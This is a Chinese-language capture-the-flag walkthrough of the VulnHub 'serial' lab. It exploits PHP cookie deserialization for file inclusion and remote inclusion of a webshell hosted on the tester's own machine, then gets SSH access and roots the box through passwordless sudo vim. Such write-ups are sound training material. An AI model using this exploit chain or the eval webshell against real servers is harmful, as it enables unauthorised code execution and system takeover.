反序列化漏洞vulhub靶场serial

靶场搭建

https://download.vulnhub.com/serial/serial.zip
下载后解压，打开VMWare，新建虚拟机，选择系定义配置

兼容性默认即可，选择稍后安装操作系统

操作系统Linux，版本Ubuntu64位

其他配置默认即可，选择使用现有虚拟磁盘，文件为开头解压得到的serial.vmdk

渗透测试

信息收集

打开靶机，在kali虚拟机中进行主机存活探测
sudo arp-scan -l

分析一下，可知靶机IP地址位192.168.74.140

端口扫描

nmap -p- 192.168.74.140 --min-rate=10000（以最小速率10000扫描）

目录扫描

dirsearch -u http://192.168.74.140/

尝试访问结果中可以访问的目录

在backup目录下发现bak.zip文件，下载下来

漏洞扫描

分析文件
index.php

<?php
	include("user.class.php");

	if(!isset($_COOKIE['user'])) {
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		unserialize(base64_decode($_COOKIE['user']));
	}
	echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

user.class.php

<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

发现三个文件有包含的关系，放到同一文件中分析

<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }


  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }


	if(!isset($_COOKIE['user'])) {
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		unserialize(base64_decode($_COOKIE['user']));
	}
	echo "This is a beta test for new cookie handler\n";
?>

发现有三个类，如果用户没有COOKIE，就给用户生成一个名为sk4的COOKIE，否则将用户的COOKIE反序列化；
COOKIE的值为对User对象的序列化结果进行Base64位编码后的结果；
User类中有两个魔法方法，分别为创建和销毁时调用
我们代理抓包，进入repeater模块

尝试将COOKIE删除，相应包中带来了COOKIE,用户名为sk4

将COOKIE撤销回去

尝试更改 COOKIE

选中COOKIE，在burp的解码器中可以看出这里的cookie经过了URL编码，将%3D改成=
再次选中COOKIE，将解码方式改为Base64，可以看出结果为User类的序列化结果

进行Base64解码，修改用户名及其长度

将其进行base64位编码后发送，可以看到响应包中用户名发生了变化

漏洞利用

漏洞存在，思考利用

继续分析代码，发现Wel实例销毁时调用了公共方法hadler，而hadler方法不止在Welcome类中有，在Log类中不仅存在hadler方法，还存在文件包含，所以替换COOKIE中的Welocome实例
由于目标系统为Linux，所以文件包含passwd

注意这里输入的空格要改为00，选中空格后在右侧改为00，点击保存

进行Base64编码后发送
发现passwd文件显示了出来

尝试远程文件包含

开启Windows系统的服务器，根目录下创建一个1.txt文件

<?php
phpinfo();
?>

更改COOKIE，这里我的windowsIP为192.168.74.1

Base64编码后发送，没有响应，是个好现象，说明文件包含成功
关闭windows防火墙后重新发送

文件包含成功，看不懂可以渲染一下

将1.txt改为一句话木马

<?php
@eval($_POST['cmd']);
?>

打开蚁剑连接将Cookie放入Http头中

测试连接，连接成功

浏览目录，发现根目录下有credentials.txt.bak文件

应该是sk4用户的密码，由于22端口开启，尝试远程连接
ssh sk4@192.168.74.143

登陆成功，依旧浏览目录，发现flag

ls -la

寻找有用的文件，发现.sudo_as_admin_successful，sudo -l查看当前用户在sudo配置中被授权执行的命令列表。

发现sudo vim在当前环境下不需要密码

权限提升

进入vim，命令模式中调取bash环境

发现已获取root权限

flag已全部找到